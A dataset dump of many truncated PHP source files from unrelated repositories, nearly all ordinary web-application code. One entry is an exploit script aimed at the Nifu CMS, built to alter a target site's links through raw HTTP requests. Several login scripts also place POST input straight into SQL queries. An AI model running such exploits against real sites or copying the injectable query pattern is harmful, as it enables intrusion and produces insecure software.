blob_id
stringlengths
40
40
language
stringclasses
1 value
repo_name
stringlengths
5
116
path
stringlengths
2
241
src_encoding
stringclasses
31 values
length_bytes
int64
14
3.6M
score
float64
2.52
5.13
int_score
int64
3
5
detected_licenses
listlengths
0
41
license_type
stringclasses
2 values
text
stringlengths
14
3.57M
download_success
bool
1 class
bdb4934f66509290efc2e645c4f8b202313522cd
PHP
vikki2020/PhpOOP1410
/02vehicle/home.php
UTF-8
570
2.609375
3
[]
no_license
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> <?php require_once "moto.class.php"; require_once "truck.class.php"; require_once "bus.class.php"; $bus1 = new b...
true
af20cff1aef15350db8cc43efdcadd20827bb97f
PHP
ImeldaMedina/Portfolio
/login.php
UTF-8
4,260
2.53125
3
[]
no_license
<?php //Turn on error reporting //ERROR reporting ini_set('display_errors', 1); error_reporting(E_ALL); //Start a session session_start(); //If the user is already logged in if (isset($_SESSION['username'])) { //Redirect to admin page header("location: admin.php"); } //If the login form has been submitted ...
true
3f3a52ce8792c88a7e9cd6bff6b668f57c5940bc
PHP
getgrav/grav
/system/src/Grav/Common/Media/Interfaces/MediaPlayerInterface.php
UTF-8
1,167
2.546875
3
[ "LicenseRef-scancode-unknown-license-reference", "MIT" ]
permissive
<?php /** * @package Grav\Common\Media * * @copyright Copyright (c) 2015 - 2023 Trilby Media, LLC. All rights reserved. * @license MIT License; see LICENSE file for details. */ namespace Grav\Common\Media\Interfaces; /** * Class implements media player interface. */ interface MediaPlayerInterface exten...
true
c9f84f4e68cb2834528c2e3fe76f1c605c968dc9
PHP
Anubarak/framework
/app/anu/model/matrixModel.php
UTF-8
2,015
2.640625
3
[]
no_license
<?php /** * Created by PhpStorm. * User: SECONDRED * Date: 23.06.2017 * Time: 10:21 */ namespace Anu; class matrixModel extends baseModel { public function defineAttributes() { return array( 'position' => array(AttributeType::Number), 'content' => array...
true
aa32902df034fa731fe2c4c55791dda43796e31b
PHP
EvaRoets/crud
/classes/TravelRepository.php
UTF-8
4,261
3.171875
3
[]
no_license
<?php // This class deals with queries for one type of data, allowing for easier reusage and retrieving all your queries. This technique is called the repository pattern. class TravelRepository { private $databaseManager; // This class needs a database connection to function public function __construct(Da...
true
16dc969e3928fd9fcb28a10406a415abb5fd47f6
PHP
Richard87/ApiRoute
/src/ApiRoute/Service/PropertyMapperService.php
UTF-8
1,700
2.828125
3
[]
no_license
<?php namespace Richard87\ApiRoute\Service; use ReflectionAttribute; use Richard87\ApiRoute\Attributes\Property; class PropertyMapperService { /** * @param string $class * @return PropertyDescriptor[] * @throws \ReflectionException */ public function findProperties(string $class): array...
true
cdeb3a941139344d4c273b96c73b6f3ae4bfb83e
PHP
hcdisat/payment
/src/Payment/Core/Requests/RestCaptureRequest.php
UTF-8
822
2.609375
3
[]
no_license
<?php namespace HcDisat\Payment\Core\Requests; class RestCaptureRequest extends AbstractRestRequest { /** * Get the raw data array for this message. The format of this varies from gateway to * gateway, but will usually be either an associative array, or a SimpleXMLElement. * * @return mixed ...
true
5c34d8d82f7e8ef872d515e11fa37d5aaebffaf2
PHP
webvul/bfg.awdev.ga
/_include/Fetch.class.php
UTF-8
4,065
2.890625
3
[]
no_license
<?php /** * Fetch - Abstract class * * PHP version 5 * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * T...
true
604358ccdb0d220695158870bf1a5f9e553aa99e
PHP
Disha813/core-PHP
/array_ functions.php
UTF-8
1,426
3.4375
3
[]
no_license
<h3> Sort Functions </h3> <hr/> <?php $color= ['G'=>'Black','Y'=>'Green', 'C'=>'Yellow', 'B'=>'White', 'W'=>'Cyan']; echo "<pre>"; print_r($color); ksort($color); //sort the array keys ignores the values. echo "<pre>"; print_r($color); krsort($color); //sort keys in reverse order. e...
true
1162217c0271479263d01201ffcc7101fb6ebf6c
PHP
jnardozza/inclusionfirst_api
/Schedules.php
UTF-8
4,903
2.65625
3
[]
no_license
<?php require_once "FM_Table.php"; require_once "Events.php"; class Schedules extends FM_Table { private static $table = "SCHEDULES"; private static $layout = "API_SCHEDULES"; private static $api_find = "api_Schedules.Find"; private static $api_new = "api_Schedules.New"; private static $fields = array( "id" =>...
true
361e3214a27ec541b92167ad8526ef5b4f527d09
PHP
ilyamr/knowledge-testing-system
/app/Questionable.php
UTF-8
12,319
2.671875
3
[]
no_license
<?php namespace App; use Illuminate\Support\Facades\Auth; /** * Class Questionable * @package App * * Store data to session */ trait Questionable { private $intelligence = true; /** * Start typed session * * @param $type */ public function startTypedSession($type) { ...
true
dfaea9b862f2df178b5081d475ba79e7cb41ae2e
PHP
The-Crazy3D/BHR
/exploits/webapp/nifu/nifu_links.php
UTF-8
2,834
2.625
3
[]
no_license
<?php /* !Nifu_Links @HOST = 127.0.0.1 = Target HOST @PORT = 80 = Target PORT @PATH = / = CMS PATH @LINK = http://www.dofus-exploit.com = New URL */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die("\n[...
true
12af376da04837d69e6727be997d17195e58d944
PHP
cash2one/cj
/trunk/apps/voa/src/include/d/cyadmin/recognition/namecard/backup.php
UTF-8
4,873
2.546875
3
[]
no_license
<?php /** * voa_d_cyadmin_recognition_namecard_backup * 畅移后台/识别名片/备份表 * Create By Deepseath * $Author$ * $Id$ */ class voa_d_cyadmin_recognition_namecard_backup extends dao_mysql { /** 表名 */ public static $__table = 'cyadmin.recognition_namecard_backup'; /** 主键 */ private static $__pk = 'rnc_id'; /** 字段前缀 *...
true
dfccfbaa014bc815ed7fd41d3c71332662f2b8f4
PHP
andrewgs/practice-book.ru
/main/models/assprocmodel.php
UTF-8
3,077
2.6875
3
[]
no_license
<?php class Assprocmodel extends CI_Model { var $asp_id = 0; var $asp_title = ""; var $asp_activity = 0; var $asp_environment= 0; var $asp_department = 0; function __construct(){ parent::__construct(); } function read_record_byid($id){ $this->db->where('asp_id',$id); $query = $t...
true
b746137f477d6407f662c587853a52c1a3faca4d
PHP
bbroger/livro-php-fontes
/PHP/exercicios/FluxodeControle/else.php
WINDOWS-1252
111
3.640625
4
[]
no_license
<?php $a = 3; $b = 5; if ($a > $b){ echo "a maior que b"; } else { echo "a NO maior que b"; } ?>
true
98a83b4f82f07e7d102068f0b40ff1d4ccf59ec4
PHP
ale-blanco/SmsCounterLength
/src/Charset/CharsetInterface.php
UTF-8
255
2.734375
3
[]
no_license
<?php namespace SmsCounterLength\Charset; interface CharsetInterface { public function getLength($text); public function splitText($text); public function getMaxLengthOne(); public function getMaxLengthMore(); public function getCharsetName(); }
true
b1f262be10164c6dbaf547a66d9e7bb93c72e4e5
PHP
ai310/codecamp
/htdocs/home/codecamp_18989/htdocs/Fika_Sweden/login.php
UTF-8
6,515
2.828125
3
[]
no_license
<?php $user_id = ''; $user_name = ''; $user_name_length = ''; $password = ''; $password_length = ''; $create_date = date('Y-m-d H:i:s'); $update_date = date('Y-m-d H:i:s'); $error = array(); //ログインチェック session_start(); // セッション変数にuser_idがあれば、メイン画面へ if (isset($_SESSION['user_id'])) { header('Location: item_view.php...
true
848062270fc142ddfe0a603beb0ae9782f50176a
PHP
FredericCasazza/2ca
/src/Subscriber/MealSubscriber.php
UTF-8
3,551
2.609375
3
[]
no_license
<?php namespace App\Subscriber; use App\Event\Dish\CreateDishEvent; use App\Event\Dish\RemoveDishEvent; use App\Event\Meal\CreateMealEvent; use App\Event\Meal\PublishMealEvent; use App\Event\Meal\RemoveMealEvent; use App\Event\Meal\UnpublishMealEvent; use App\Event\Meal\UpdateMealEvent; use App\Manager\MealManager;...
true
a78fbc5da8a752988e6f0d6b6171e83ed6794e5f
PHP
cristianprochnow/Study
/IFC_2019/Programming/ExerciseList/exerciseList#2_FormsWithDatabases/PDO/exercise#3/data-process.php
UTF-8
1,237
3.03125
3
[]
no_license
<?php try { $dbHost = 'localhost'; $dbUser = 'root'; $dbPasswd = ''; $dbName = 'list1_exercise3'; $fabricante = $_POST['fabricante']; $marca = $_POST['marca']; $modelo = $_POST['modelo']; $ano_fabricacao = $_POST['ano_fabricacao']; $quilometragem ...
true
bdb867f17a0d60e260065eec3e3892e76ff4a451
PHP
AlexSuperStar/diadocProtoClass
/src/Diadoc/Api/Proto/Invoicing/Torg12BuyerTitleInfo.php
UTF-8
5,440
2.5625
3
[ "MIT" ]
permissive
<?php /** * Auto generated from Torg12Info.proto * * Diadoc.Api.Proto.Invoicing package */ namespace Diadoc\Api\Proto\Invoicing { /** * Torg12BuyerTitleInfo message */ class Torg12BuyerTitleInfo extends \ProtobufMessage { /* Field index constants */ const SHIPMENTRECEIPTDATE = 1; const ATTORNEY = 2; ...
true
60c4f4828af84dfd4a4db8dd80bb4ffc82846c97
PHP
mgabrielaa1988/Program-y-lab3
/TpFrontBack/index.php
UTF-8
9,560
2.578125
3
[]
no_license
<?php session_start(); require_once "php/Fabrica.php"; require_once "php/Empleado.php"; require_once "php/ValidarSesion.php"; if (isset($_POST['dni'])) { $fabricaNueva = new Fabrica("La de vivir", 7); $fabricaNueva->TraerDeArchivo(); $empleados = $fabricaNueva->GetEmpleados(); foreach ($empleados as $em...
true
3300622415ddcef97287b76cdba6af205796764d
PHP
ProdigyView-Toolkit/prodigyview
/src/util/Cli.php
UTF-8
3,474
3.09375
3
[ "BSD-2-Clause" ]
permissive
<?php namespace prodigyview\util; use prodigyview\design\StaticObject; /** * Command Line Interface (CLI) utility class. * * This is an adaptation of Patrick Fisher command line parser for PHP. The class has been modified * to utilizes adapters, filter and observers natively present in ProdigyView. * * @author ...
true
459e643047aa9275c2e084ed532d37f5883940e4
PHP
omarlm/practices
/Proyecto PHP Playas Tenerife.1/playas.php
UTF-8
6,492
2.734375
3
[]
no_license
<!doctype html> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <link rel="stylesheet" href="style.css"> <title>Playas Tenerife</title> </head> <body> <?PHP session_start(); if(ISSET($_SESSION["user"]) && ISSET($_SESSION["privilegios"])) { $user = $_SESSION...
true
837f88fed438c54478f2cfa491588606582ae620
PHP
juzi5201314/mirai-http-php-sdk
/src/events/RecallEvent.php
UTF-8
336
2.734375
3
[ "MIT" ]
permissive
<?php namespace MiraiSdk\events; abstract class RecallEvent extends Event { public int $user_id; public int $message_id; public int $time; public function decode(array $data) { $this->user_id = $data['authorId']; $this->message_id = $data['messageId']; $this->time = $data['...
true
5762da5cd2aecb014a7d317b205ea761dfb31209
PHP
hvrri/123123
/shopping/partials/parseChangePassword.php
UTF-8
4,494
2.9375
3
[ "Apache-2.0" ]
permissive
<?php include_once 'resource/Database.php'; include_once 'resource/utilities.php'; if(isset($_POST['changePasswordBtn'], $_POST['token'])){ if(validate_token($_POST['token'])){ //tyhjä array johon virheet menee $form_errors = array(); // vaaditut kentät jotka tarkistetaan $required...
true
9f34c227a57da94a392682d6e1b3113acdfc2ebf
PHP
kamarton/yiisoft-db
/src/QueryBuilder/Conditions/Interface/ConjunctionConditionInterface.php
UTF-8
442
2.765625
3
[ "BSD-3-Clause", "LicenseRef-scancode-unknown-license-reference" ]
permissive
<?php declare(strict_types=1); namespace Yiisoft\Db\QueryBuilder\Conditions\Interface; interface ConjunctionConditionInterface extends ConditionInterface { /** * Returns the operator that is represented by this condition class, e.g. `AND`, `OR`. */ public function getOperator(): string; /** ...
true
a6c00e224883e68b88b1f643c6d8129a90cdddcf
PHP
nkevins/ptpas
/app/Console/Commands/ReAuthenticate.php
UTF-8
2,156
2.984375
3
[ "MIT" ]
permissive
<?php namespace App\Console\Commands; use App\User; use Illuminate\Console\Command; class ReAuthenticate extends Command { /** * The name and signature of the console command. * * @var string */ protected $signature = '2fa:reauthenticate {--username= : The username of the user to reauthen...
true
a10a8ed6792e886d4ab98a075758fbfc6227777f
PHP
jesstech1/cst336
/Labs/Lab_7/functions.php
UTF-8
1,967
2.8125
3
[]
no_license
<?php function validateSession() { if(!isset($_SESSION['adminFullName'])) { header("Location: index.php"); exit; } } function displayAllProducts() { global $dbConn; $sql = "SELECT * FROM om_product ORDER BY productName"; $stmt = $d...
true
539bc82a06f7649e78fad5e4a5a7920c7f71c3da
PHP
thisisallen/vipteenagers
/vipteenagers/application/views/response.php
UTF-8
246
2.609375
3
[ "LicenseRef-scancode-unknown-license-reference", "MIT" ]
permissive
<?php // HTTP Resp Headers header('content-Type: application/json; charset=utf-8'); // Construct Response Message $resp = array( "code" => $code, "message" => $message, ); // Return Response $JSON = json_encode($resp); echo $JSON; ?>
true
b0840b1d042465e6bc5bc79370d497a164f287fa
PHP
AimeeGao/CMS
/17.7.8/oop.php
UTF-8
384
3.625
4
[]
no_license
<?php class Car{ var $wheels = 4; var $hood = 1; var $engine = 1; var $doors = 4; function MoveWheels(){ $this->wheels = 10; } function CreateDoors(){ $this->doors = 6; } } $bmw = new Car(); $truck = new Car(); echo $bmw->wheels."<br>"; // 外部访问的方式 echo $truck->wheels = 10 ."<br>"; $truck->CreateDoors(...
true
e4e1fadbcef1c5df7af958ebb201cf720a4dd41a
PHP
AbidarYassine/e-commBackEnd
/database/migrations/2021_02_19_222646_create_factures_table.php
UTF-8
1,131
2.53125
3
[ "MIT" ]
permissive
<?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class CreateFacturesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('factures', fu...
true
a80ea80a448d540afb647d6de56500dff6c19c45
PHP
sessionfrom/UserLogin
/PhpProject/includes/login.func.php
UTF-8
1,744
2.765625
3
[]
no_license
<?php if(!defined('IN_TG')){ exit('Access Defined'); } if(!function_exists('_alert_back')){ exit('_alert_back()函数不存在,请检查'); } if(!function_exists('_mysql_string')){ exit('_mysql_string()函数不存在,请检查'); } /** * 函数_chack_usename验证用户名 * @access public * @param string $_string 污染数据 * @param int $_min_n...
true
9c151ef60fee31728707cbcafa45ccccc1a53a6d
PHP
samirarianfar/ppem2lphpsamir
/models/historiqueF.php
UTF-8
377
2.578125
3
[]
no_license
<?php /*function getHistorique($id) { global $bdd; $sql = $bdd->prepare("select * from formation f, inscrire i where f.IdFormation = i.IdFormation and i.IdEmploye = :id and (i.EtatValidation='Validé' or i.EtatValidation ='Refusé')"); $sql->bindValue(':id',$id,PDO::PARAM_INT); $sql->execute(); while($donnee...
true
950958c7df3f7c0b4b2f1bf240299b506ac72a05
PHP
ngokchau/cockamamei
/assets/modules/Mailer/Dwoo/Plugins/Blocks/BlockScriptCapture.php
UTF-8
2,254
2.71875
3
[ "Apache-2.0" ]
permissive
<?php namespace Dwoo\Plugins\Blocks; use Dwoo\Block\Plugin; use Dwoo\Compiler; use Dwoo\ICompilable\Block; /** * Captures all the output within this block and saves it static into a variable * multiple captures to the same name will get appended. * <pre> * * name : capture name, used to read the value afterwards ...
true
2384c735bf09457829faad9b9be3760e430e63a2
PHP
osnijr96/atividades_complementares2
/app/Services/CursoService.php
UTF-8
1,224
2.78125
3
[ "MIT" ]
permissive
<?php /** * Created by PhpStorm. * User: jonas * Date: 13/05/2016 * Time: 23:08 */ namespace SISAC\Services; use Illuminate\Contracts\Validation\ValidationException; use SISAC\Repositories\CursoRepository; use SISAC\Validators\CursoValidator; use Prettus\Validator\Exceptions\ValidatorException; class CursoServ...
true
298e5707efc326a14d4f20c46e3cb11a1bef4c45
PHP
Wortex/PHPSteam-User-library
/relisoft/steam/src/API/Game.php
UTF-8
2,564
3.09375
3
[]
no_license
<?php /** * Created by PhpStorm. * User: relisoft * Date: 25.7.2017 * Time: 11:19 */ namespace Relisoft\Steam\Src\Api; /** * Class Game * @package Relisoft\Steam\Src\Api */ class Game { /** * @var */ private $appid; /** * @var */ private $name; /** * @var */ ...
true
c2360337b5e0b92b78194e4a870c4cdc316addae
PHP
huhong92/rxqq
/code/application/controllers/Match.php
UTF-8
9,648
2.59375
3
[]
no_license
<?php /** * 比赛控制器 * @author huhong <huhong@example.com> * @date 2016-05-18 */ class Match extends MY_Controller { public function __construct() { parent::__construct(); $this->load->library('match_lib'); } /** * 赛事类型列表接口 */ public function match_list() { ...
true
a77a0c38b38122ce37ca2c97188fe0aa4bd67636
PHP
philwebkronus/PeGS-3.0-NEW
/Kronus/Cashier/app/frontend/models/VMSRequestLogsModel.php
UTF-8
2,084
2.703125
3
[]
no_license
<?php /** * Date Created 04 08, 2013 10:44:01 AM <pre /> * Description of VMSRequestLogsModel * @author aqdepliyan */ class VMSRequestLogsModel extends MI_Model { /** * Insert to vmsrequestlogs either UB or TB for voucher * @param varchar $vouchercode, int $aid, int $terminalID, * ...
true
cb35d94480c30341bea2e44de1b3aecb611ef3ad
PHP
gerardoGomr/siacm
/app/Http/Controllers/Citas/CitasController.php
UTF-8
9,969
2.578125
3
[ "MIT" ]
permissive
<?php namespace Siacme\Http\Controllers\Citas; use DateTime; use Illuminate\Http\Request; use Siacme\Aplicacion\Reportes\Citas\ListaCitas; use Siacme\Dominio\Citas\CitaEstatus; use Siacme\Dominio\Citas\Repositorios\CitasRepositorio; use Siacme\Dominio\Expedientes\Repositorios\ExpedientesRepositorio; use Siacme\Dominio...
true
66b0ab0a413d062f6d606479cc3bf5e05422968b
PHP
ew7wc/ListenUp
/php/addSongToPlaylist.php
UTF-8
1,460
2.59375
3
[]
no_license
<?php function addSongToPlaylist($songID, $songTitle, $playlistID, $playlistName, $a_Name) { $db_connection = new mysqli('stardock.cs.virginia.edu', 'cs4750ams5da', 'music', 'cs4750ams5da'); if (mysqli_connect_errno()) { echo "Connection Error!"; return; } $songTitle = addslashes($songTitle); $playl...
true
7deae533ec4934ef91a251be9ea6572f68a09dbd
PHP
Chordian/deepsid
/php/rating_write.php
UTF-8
3,438
2.96875
3
[]
no_license
<?php /** * DeepSID * * Set or clear a rating for a folder or a SID file. Files or folders that * share the same hash (MD5) will also share the same rating. * * If the rating is the same as is already stored, it will be cleared instead. * * @uses $_POST['fullname'] * @uses $_POST['rating'] * * @used-by ...
true
3b7be568f6d0280929b5fa5ee8124172ae6317aa
PHP
stephensusanto/studyProgram
/tambah.php
UTF-8
1,245
3.015625
3
[]
no_license
<html> <head> <title> Belajar Coding PHP Native </title> </head> <body> <center> <h1>Tabel Data </h1> <div> <form action = "" method = "POST"> <label> nama </label> <input type = "text" name="nama"> <...
true
9d40e4df68858496607c3baa545efd440b992fa6
PHP
matijabelec/dot-framework
/app/views/listableview.php
UTF-8
541
2.96875
3
[]
no_license
<?php class ListableView extends BaseView { public function render() { $this->checkInstance($this->model, 'iListable'); $this->checkInstance($this->template, 'Template'); $data = $this->model->getData(); $dataN = count($data); $filled = ''; for($i=0...
true
603b4986c27d7e66dbe8b7198f06814f7eccc174
PHP
rushang9/om
/arrayloop.php
UTF-8
223
3.5625
4
[]
no_license
<!DOCTYPE html> <html> <head> <title></title> </head> <body> <?php $j=array(1,2,3,4,5); //for ($i=1; $i <=5 ; $i++) { // echo $j[$i] ."<br>"; //} foreach ($j as $value) { echo $value; } ?> </body> </html>
true
91f6dea32f5ffd3ca81761edef6541c906065622
PHP
sirsir/TSE-TSE_Homepage
/- svn/tools/md5.php
UTF-8
458
2.890625
3
[]
no_license
<?php $input = htmlspecialchars($_POST["input"]); $full = md5($input); $short = substr($full, 0, 6); ?> <form action='md5.php' method='post'> <p> Input: <input type='text' name='input' value='<?php echo $input ?>' size='50'> <input type='submit' value='Submit'> <hr /> </p> <p> ...
true
6290062f8c68205fd085ae04cb773b8e1cb27d98
PHP
plvhx/jwt
/src/Manager/KeyManager.php
UTF-8
1,528
3.0625
3
[ "MIT" ]
permissive
<?php namespace Gandung\JWT\Manager; use Gandung\Psr7\FileStream; /** * @author Paulus Gandung Prakosa <rvn.plvhx@gmail.com> */ class KeyManager implements KeyManagerInterface { /** * @var string */ private $content; /** * @var string */ private $passphrase; /** * {@i...
true
ae8fdd774c2a43b4c83d4670dba98b8cb2af3099
PHP
juanFCA/PHP7-Fundamentos
/3 - Operacoes/OperacoesFloats.php
UTF-8
1,634
3.90625
4
[]
no_license
<!DOCTYPE html> <html> <head> <title>Operações: Números ponto Flutuantes</title> </head> <body> <?php #Operações Básicas $f = 100.65; $soma = $f + 150; $subtracao = $f - 70; $multiplicacao = $f * 4; $divisao = $f / 3; printf("<p>F = %f, Soma = %f, Subtração = %f, ...
true
d28b49623c96b85ca4f246cd3491340e105222ba
PHP
kvalrani/sign-in-app
/app/SignIn.php
UTF-8
888
2.6875
3
[]
no_license
<?php /** * Created by PhpStorm. * User: kunal * Date: 02/08/2018 * Time: 10:14 */ namespace App; use Illuminate\Database\Capsule\Manager as DB; class SignIn { private $company; private $inputname; private $guestsfield; public function __construct($company, $inputname) { $this->datab...
true
53bb2e7caea709c84116d964f1c7eb6dfefa1754
PHP
YoYo2504/ProjetValresBTS
/src/Calendar/month.php
UTF-8
3,823
3.46875
3
[]
no_license
<?php /** * Created by PhpStorm. * User: yoanfilipe * Date: 05/12/2018 * Time: 17:23 */ namespace Calendar; class Month{ public $days = ['Lundi', 'Mardi', 'Mercredi', 'Jeudi', 'Vendredi', 'Samedi', 'Dimanche']; private $months = ['Janvier', 'Février', 'Mars', 'Avril', 'Mai', 'Juin', 'Juillet', 'Aout', 'Se...
true
a0473ed09e54165cdaa9a63a22b9d5aedb19f5f7
PHP
UMaine-ASAP/haggis_2016
/public/controller/assignment_create_request.php
UTF-8
779
2.71875
3
[]
no_license
<?php require_once __DIR__ . "/../../system/bootstrap.php"; ensureLoggedIn(); //if assignment title and due date not given, tell user if(empty($_POST['postAssignmentTitle']) OR empty($_POST['postAssignmentDate'])){ die("Didn't provide title and/or date, try again."); } //create new assignmen...
true
fd531822fb0bdb9244357c2c32af475ed2dad38a
PHP
Rachidoulgour/blogphp
/src/services/Service.php
UTF-8
416
2.78125
3
[]
no_license
<?php namespace App\services; use App\DoctrineManager; use App\LogManager; class Service{ protected $doctrineManager; protected $logManager; public function __construct(DoctrineManager $doctrineManager, LogManager $logManager){ $this->doctrineManager=$docttrineManager; $this->logManager=$...
true
b23228ee53d716715aedbdf156a537f8c6441db8
PHP
xiao-linxin/tp51-library
/src/command/Sess.php
UTF-8
969
2.6875
3
[]
no_license
<?php namespace library\command; use think\console\Command; /** * 清理无效的会话文件 * Class Session * @package library\command */ class Sess extends Command { protected function configure() { $this->setName('xclean:session')->setDescription('clean up invalid session files'); } protected functio...
true
6173875e43e1863abb0c928aaa676de84d5a8eb8
PHP
hardik-satasiya/febe
/providers/Classes/FrontendController.php
UTF-8
8,795
2.515625
3
[]
no_license
<?php namespace HS\Classes; use Str; use App; use File; use Auth; use View; use Config; use Response; use Request; use Exception; use Illuminate\Routing\Controller as ControllerBase; use October\Rain\Router\Helper as RouterHelper; use Closure; /** * The Backend controller class. * The base controller services back ...
true
a06257f9a4876c2a69e8cca7ceaf61c24a03b62b
PHP
Terimor/afterbuy-connector
/src/Api/Entity/Common/ApiCatalogItem.php
UTF-8
573
2.546875
3
[]
no_license
<?php namespace App\Api\Entity\Common; use JMS\Serializer\Annotation as Serializer; class ApiCatalogItem { /** @Serializer\Type("string") */ private string $id; /** @Serializer\Type("string") */ private string $label; public function getId(): string { return $this->id; } ...
true
efb82429e0606addec700bb7c08e4bb34b7c1661
PHP
JuanTrop/RetoPlatziPHP
/Reto 12/nextBirthday.php
UTF-8
196
2.875
3
[ "MIT" ]
permissive
<?php require_once 'getNextBirthday.php'; if(isset($_GET['month']) && isset($_GET['day'])) { $month = $_GET['month']; $day = $_GET['day']; echo getNextBirthday($month, $day); }
true
5b1e1f003e9651d7ef52d02daaa5e87d2ef9042a
PHP
bbotiroff/webstore
/helpers/validator.php
UTF-8
3,450
3.203125
3
[]
no_license
<?php /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * On this page all you need to make sure to return 2 values to the controller * * $errors = ARRAY of errors or NULL * * $inputs = ARRAY of inputs * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *...
true
c2e5b914e1742c8a489ea49d59f2a014904b44b3
PHP
mjburgess/xop
/Acl/Resource.php
UTF-8
1,702
2.875
3
[]
no_license
<?php /** X - xphp.org Application Framework ** * * An ACL Resource. * * @author mjburgess * @copyright xphp.org, 2010. All Rights Reserved. * @package X * @subpackage Acl */ namespace X\Acl; class Resource { private $credentials; public function assign($cID, $minRole) { $this->credentials[...
true
d95621890778cab5cc5f3d13ab0501a86312eee0
PHP
JetBrains/phpstorm-psalm-plugin
/testData/codeInsight/typeInference/ClassNamesFromClassStringDocVar.php
UTF-8
427
3.15625
3
[ "Apache-2.0" ]
permissive
<?php class HelloWorld { public static function sayHello(): int { return 'Hello'; } } function foo(): void { /** @var class-string<HelloWorld> $hello */ $hello = f(); <type value="int">$hello::sayHello()</type>; <type value="">$hello::undefinedMethod()</type>; } /** * @template T * @param class-string<T...
true
7885742c3b44894b25c8e3a0cecbd17bb34d7725
PHP
ranafaraz/Javascript_Array_to_PHP_Array
/phpCode.php
UTF-8
1,904
3.078125
3
[]
no_license
<!-- database connection --> <?php define ("DB_SERVER","localhost"); define ("DB_USER","root"); define ("DB_PASSWORD",""); define ("DB_NAME","mobile_shop"); $connection=mysqli_connect(DB_SERVER,DB_USER,DB_PASSWORD,DB_NAME); if(mysqli_connect_errno()) { die("connect...
true
2dde9a259c0fdcb797d7b3a60bdbec2f31890257
PHP
738204034/blog
/app/Events/MessageBroadcastEvent.php
UTF-8
1,177
2.78125
3
[ "MIT" ]
permissive
<?php namespace App\Events; use App\Events\Event; use Illuminate\Queue\SerializesModels; use Illuminate\Contracts\Broadcasting\ShouldBroadcast; use Illuminate\Support\Facades\Session; class MessageBroadcastEvent extends Event implements ShouldBroadcast { use SerializesModels; public $users; public $mess...
true
3189575442516ecfbbca6c6784bbeedd375007ba
PHP
bondhansarker/Online-Pathology-Billing-System
/login_link.php
UTF-8
5,107
2.546875
3
[]
no_license
<?php include 'header.php'; include 'connection_link.php'; $loggedIn = 0; $Email = $_POST["Email"]; $Password =$_POST["Password"]; $User_type=$_POST["User_type"]; if(isset($_POST['Login'])) { $query = "SELECT Email FROM patient WHERE Email = '$Email' AND Password = '$Password' AND...
true
34e57044a8d840c41df041c75333d838118cddc3
PHP
aguspuryanto/sidoarjomembangun
/app/library/Date.php
UTF-8
122
2.671875
3
[]
no_license
<?php function the_date($date, $format='Y-m-d H:i:s'){ $new_date = date($format, strtotime($date)); return $new_date; }
true
602f4209e040e06aff5df837203d505dddafdff9
PHP
darkdreamingdan/IPS4-Converters
/sources/Software.php
UTF-8
9,888
2.6875
3
[]
no_license
<?php /** * @brief Converter Software Core Class * @author <a href='http://www.invisionpower.com'>Invision Power Services, Inc.</a> * @copyright (c) 2001 - 2016 Invision Power Services, Inc. * @package IPS Community Suite * @subpackage Converter * @since 21 Jan 2015 */ namespace IPS\convert; /* To prevent...
true
592a25346b8e86f37937f2907eed9207d84aae62
PHP
konapun/Bauplan
/Bauplan/SymbolTable.php
UTF-8
434
2.796875
3
[]
no_license
<?php namespace Bauplan; // FIXME move language core to Bauplan\Core namespace use Bauplan\Core\DS\Hash as Hashmap; /* * A simple key,value store. Bauplan uses template-level scoping so each * template has its own symbol table */ class SymbolTable { private $hash; function __construct($symbols=array()) { ...
true
66319ae92a1dcb4c3ebd2542b425b60495555a8e
PHP
dan-lennox/drupal_helpers
/lib/Drupal/drupal_helpers/Theme.php
UTF-8
2,500
2.765625
3
[]
no_license
<?php /** * @file * Theme helpers. */ namespace Drupal\drupal_helpers; /** * Class Theme. * * @package Drupal\drupal_helpers */ class Theme extends \Drupal\drupal_helpers\System { /** * Sets a theme as the default. */ public static function setDefault($theme) { variable_set('theme_default', $them...
true
08cb49cf4fa8806f8e41d2ec47339517c83dfb1e
PHP
Tankernn/tankernn-eu
/admin/pages/edit.php
UTF-8
9,114
2.640625
3
[ "MIT" ]
permissive
<?php $type = ""; $uid = ""; if (isset($_GET['uid'])) { $uid = $_GET['uid']; } if (isset($_GET['type'])) { $type = $_GET['type']; } else { die("Missing arguments."); } if (!hasPermission("edit.$type")) { die("Not enough permissions."); } //Save to database script: if (isset($_POST['name']) and $ty...
true
49abdec1a7cab6636e8fdfdc252a5e2fe6da42f4
PHP
manjufy/code-school
/PHP/questions/h.php
UTF-8
177
2.578125
3
[]
no_license
<?php $shows = simplexml_load_file("shows.xml"); foreach($shows->sitcom as $sitcom) { echo "{$sitcom->character} appeared in {$sitcom['name']} in {$sitcom->year}\n"; } ?>
true
02b5e0a4cd93fa690fa85cea17ab61dc192718f8
PHP
trotri/trotri
/libraries/tfc/util/Image.php
UTF-8
13,938
2.9375
3
[]
no_license
<?php /** * Trotri Foundation Classes * * @author Huan Song <trotri@yeah.net> * @link http://github.com/trotri/trotri for the canonical source repository * @copyright Copyright (c) 2011-2013 http://www.trotri.com/ All rights reserved. * @license http://www.apache.org/licenses/LICENSE-2.0 */ ...
true
4fef6f11cacb3c762a18dae32da574cf71f4a5f2
PHP
Pandora4869/basicphp
/config/connect_mysql.php
UTF-8
460
2.515625
3
[]
no_license
<?php $host = "localhost"; $user = "root"; $pass = "473278"; $dbname = "phpbasicdb"; //เชื่อมต่อฐานข้อมูล $connectdb = mysqli_connect($host, $user, $pass, $dbname); //เข้ารหัส UTF8 mysqli_set_charset($connectdb, 'utf8'); //ตรวจสถานะการเชื่อมต่อ if ($connectdb) { // echo "Connect database success"; } e...
true
6621b56dc53b4535c7ca2991b9051c30d1278e81
PHP
hlevente654/GyakorlatokWeb
/20201118/munkasokkCRUD/insert.php
UTF-8
1,945
2.640625
3
[]
no_license
